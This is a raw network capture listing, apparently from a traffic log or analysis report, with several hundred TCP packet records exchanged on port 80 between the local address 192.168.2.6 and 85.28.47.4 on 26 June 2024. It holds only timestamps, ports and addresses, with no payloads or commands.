Jun 26, 2024 08:16:23.775726080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775726080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775726080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775738955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775753975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775768995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775768995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775785923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775799990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775800943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775820971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775832891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775837898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775854111 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775854111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775870085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775885105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775895119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775949001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775975943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775990963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776010036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776014090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776022911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776037931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776051998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776051998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776053905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776067972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776077032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776106119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776112080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776129961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776144028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776158094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776176929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776181936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776196957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776211023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776226044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776226044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776226044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776329041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776344061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776352882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776359081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776375055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776388884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776402950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776418924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776418924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776456118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776457071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776473045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776524067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776534081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776549101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776563883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776577950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776577950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776577950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776595116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776596069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776612997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776627064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776632071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776643038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776658058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776659966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776680946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776715994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776758909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776774883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776789904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776803970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776819944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776834011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776835918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776849031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776864052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776870012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776887894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776906967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776915073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776915073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776921988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776930094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776937962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776945114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776956081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776959896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776974916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.776982069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.776990891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777005911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777019978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777029037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777044058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777060986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777075052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777076006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777076006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777097940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777106047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777112961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777129889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777143955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777158976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777173996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777189016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777193069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777193069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777193069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777204990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777220011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777234077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777247906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777264118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777264118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777266026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777287006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777301073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777306080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777317047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777332067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777378082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777584076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777599096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777614117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777630091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777645111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777650118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777650118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777659893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777677059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777681112 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777695894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777713060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777714968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777730942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777740955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777755976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777770042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777781963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777786970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777812958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777832985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777833939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777833939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777848959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777870893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777885914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777900934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777910948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777910948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777910948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777918100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777934074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777956009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777955055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777972937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.777983904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.777990103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778006077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778021097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778023958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778038025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778039932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778059959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778079033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778089046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778089046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778094053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778110027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778124094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778127909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778140068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778156042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778201103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778201103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778420925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778436899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778450966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778465986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778481007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778496027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778510094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778515100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778515100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778523922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778538942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778547049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778562069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778575897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778577089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778594017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778597116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778609037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778624058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778639078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778656960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778662920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778662920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778671980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778687954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778702974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778717995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778723955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778723955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778733969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778749943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778764009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778773069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778780937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778795958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778810978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778825998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778825998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778825998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778844118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778858900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778877020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778876066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778892040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778892994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778908014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778923035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778933048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778939962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778955936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778959036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.778971910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778986931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.778990984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779004097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779010057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779020071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779036999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779052019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779064894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779194117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779311895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779329062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779344082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779359102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779376030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779381037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779397964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779413939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779433966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779433966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779453993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779469013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779473066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779484034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779500008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779500008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779517889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779534101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779547930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779562950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779586077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779586077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779586077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779602051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779617071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779632092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779645920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779649973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779649973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779675007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779690981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779706955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779721975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779736996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779745102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779745102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779745102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779753923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779764891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779769897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779786110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779802084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779817104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779818058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779834032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779836893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779850006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779865026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779871941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779881954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779891968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779896975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779911995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779928923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779943943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779948950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779948950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.779963017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779978991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.779984951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780033112 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780301094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780317068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780334949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780349970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780364990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780380964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780385017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780396938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780412912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780420065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780420065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780436039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780452967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780462027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780476093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780503035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780503035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780503988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780520916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780536890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780551910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780566931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780572891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780581951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780591965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780606985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780627966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780631065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780631065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.780643940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.780658960 CEST	80	49713	85.28.47.4	192.168.2.6
